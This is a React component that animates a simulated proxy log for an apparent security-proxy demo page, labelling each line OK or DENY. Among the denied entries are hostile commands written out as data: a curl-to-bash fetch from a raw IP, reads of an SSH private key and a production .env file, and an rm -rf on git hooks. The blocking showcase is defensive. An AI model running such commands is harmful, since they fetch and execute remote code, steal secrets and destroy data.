'use client' import { useState, useEffect, useRef } from 'react' /* ─── Simulated live data stream terminal ─── */ const streamLines = [ { type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' }, { type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' }, { type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' }, { type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' }, { type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' }, { type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' }, { type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' }, { type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' }, { type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' }, { type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' }, { type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' }, { type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' }, { type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' }, { type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' }, { type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' }, { type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' }, ] export function LiveTerminal() { const [lines, setLines] = useState([]) const [currentIndex, setCurrentIndex] = useState(0) const containerRef = useRef(null) useEffect(() => { const interval = setInterval(() => { setCurrentIndex((prev) => { const next = (prev + 1) % streamLines.length setLines((prevLines) => { const newLines = [...prevLines, streamLines[next]] return newLines.slice(-8) // Keep last 8 visible }) return next }) }, 1800) return () => clearInterval(interval) }, []) useEffect(() => { if (containerRef.current) { containerRef.current.scrollTop = containerRef.current.scrollHeight } }, [lines]) return (
{/* Title bar */}
greywall proxy stream
live
{/* Stream content */}
{lines.map((line, i) => (
{line.type === 'block' ? 'DENY' : ' OK '} {line.text} {line.time}
))} {/* Blinking cursor */}
{'>'}
) }